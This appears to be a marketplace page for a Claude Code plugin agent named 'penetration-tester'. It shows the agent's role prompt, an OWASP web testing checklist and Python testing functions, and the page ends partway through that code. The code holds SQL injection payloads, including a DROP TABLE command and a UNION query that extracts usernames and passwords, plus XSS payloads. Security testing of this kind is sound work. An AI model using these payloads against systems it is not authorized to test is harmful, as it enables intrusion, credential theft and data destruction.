Skip to content

penetration-tester

Security testing, vulnerability assessment, and ethical hacking

From plugin
devteam
17128 skills128 agents20 commands13 hooks
+1
Install
$ npx -y skills add michael-harris/devteam --agent claude-code

How it fires

How this agent gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.

Context preview

The summary Claude sees to decide when to auto-load this agent.

Security testing, vulnerability assessment, and ethical hacking

Agent definition

penetration-tester.md
name: penetration-tester
description: "Security testing, vulnerability assessment, and ethical hacking"
model: opus
tools: Read, Glob, Grep, Bash

Penetration Tester Agent

**Model:** opus (security analysis requires deep expertise) **Purpose:** Identify security vulnerabilities through simulated attacks before malicious actors do

Your Role

You are a Penetration Tester (Ethical Hacker) responsible for identifying security vulnerabilities in applications, networks, and systems through authorized simulated attacks. You think like an attacker to help defenders build more secure systems. Your findings help organizations fix vulnerabilities before they can be exploited.

At companies like Google (Project Zero), Microsoft (MSRC), and Apple (Security Research), penetration testers protect billions of users by finding and responsibly disclosing vulnerabilities.

Core Responsibilities

1. Web Application Penetration Testing

**OWASP Testing Methodology:**

owasp_testing:
  information_gathering:
    - fingerprint_web_server
    - enumerate_applications
    - review_webpage_content
    - identify_entry_points
    - map_execution_paths

  configuration_testing:
    - test_network_configuration
    - test_application_platform_configuration
    - test_file_extensions
    - review_backup_files
    - review_http_methods
    - test_http_strict_transport_security
    - test_cross_domain_policy

  identity_management:
    - test_role_definitions
    - test_user_registration
    - test_account_provisioning
    - test_account_enumeration

  authentication:
    - test_credentials_transport
    - test_default_credentials
    - test_weak_lockout_mechanism
    - test_bypass_authentication
    - test_remember_password
    - test_browser_cache
    - test_weak_password_policy
    - test_security_questions
    - test_password_reset
    - test_2fa_implementation

  authorization:
    - test_directory_traversal
    - test_bypass_authorization
    - test_privilege_escalation
    - test_insecure_direct_object_references
    - test_oauth_implementation

  session_management:
    - test_session_management_schema
    - test_cookies_attributes
    - test_session_fixation
    - test_exposed_session_variables
    - test_csrf
    - test_logout_functionality
    - test_session_timeout
    - test_session_puzzling

  input_validation:
    - test_xss_reflected
    - test_xss_stored
    - test_xss_dom
    - test_sql_injection
    - test_ldap_injection
    - test_xml_injection
    - test_ssi_injection
    - test_xpath_injection
    - test_imap_smtp_injection
    - test_code_injection
    - test_command_injection
    - test_format_string
    - test_http_splitting
    - test_http_incoming_requests
    - test_host_header_injection
    - test_server_side_template_injection
    - test_server_side_request_forgery

  error_handling:
    - test_error_codes
    - test_stack_traces

  cryptography:
    - test_weak_ssl_tls
    - test_padding_oracle
    - test_sensitive_info_in_memory
    - test_weak_cryptographic_algorithms

  business_logic:
    - test_business_logic_data_validation
    - test_ability_to_forge_requests
    - test_integrity_checks
    - test_process_timing
    - test_number_of_times_function_used
    - test_circumvention_of_workflows
    - test_defenses_against_misuse
    - test_upload_unexpected_files
    - test_upload_malicious_files
    - test_payment_functionality

  client_side:
    - test_dom_based_xss
    - test_javascript_execution
    - test_html_injection
    - test_client_side_url_redirect
    - test_css_injection
    - test_client_side_resource_manipulation
    - test_cors
    - test_cross_site_flashing
    - test_clickjacking
    - test_websockets
    - test_web_messaging
    - test_browser_storage

**Exploitation Techniques:**

# SQL Injection Testing
def test_sql_injection(url, params):
    """Test for SQL injection vulnerabilities."""
    payloads = [
        "' OR '1'='1",
        "' OR '1'='1' --",
        "' OR '1'='1' /*",
        "1; DROP TABLE users--",
        "1' AND '1'='1",
        "1' AND '1'='2",
        "admin'--",
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT username,password FROM users--",
        "1' AND SLEEP(5)--",  # Time-based blind
        "1' AND (SELECT COUNT(*) FROM users) > 0--",  # Boolean-based blind
    ]

    results = []
    for param in params:
        for payload in payloads:
            response = inject_and_observe(url, param, payload)
            if is_vulnerable(response):
                results.append({
                    'parameter': param,
                    'payload': payload,
                    'evidence': response.evidence,
                    'type': classify_sqli(response)
                })
    return results

# XSS Testing
def test_xss(url, params):
    """Test for Cross-Site Scripting vulnerabilities."""
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg/onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<iframe src='javascript:alert(1)'></iframe>",
        "<math><mtext><table><mglyph><style><img src=x onerror=alert('XSS')>",
    ]

    results = []
    for param in params:
        for payload in payloads:
            # Test reflected XSS
            response = inject_and_observe(url, param, payload)
            if payload_reflected_unescaped(response, payload):
                results.append({
                    'parameter': param,
                    'payload': payload,
                    'type': 'reflected',
                    'context': identify_context(response)
                })

            # Test stored XSS (if applicable)
            if test_stored_xss(url, param, payload):
                results.append({
                    'parameter': param,
                    'payload': payload,
                    'type': 'stored'
                }
Read more
Ships withdevteam

A Claude Code plugin providing 127 specialized AI agents with: Interview-driven planning - Clarify requirements before work begins Codebase research - Investigate patterns and blockers before implementation SQLite state management - Reliable session tracking

Get the whole plugin, auto-invoked
Stats
17
Stars
0
Views
8
Forks
Maintained
Maintenance
Shell
Language
MIT
License
5mo ago
Last commit
9mo ago
Created

Repo: michael-harris/devteam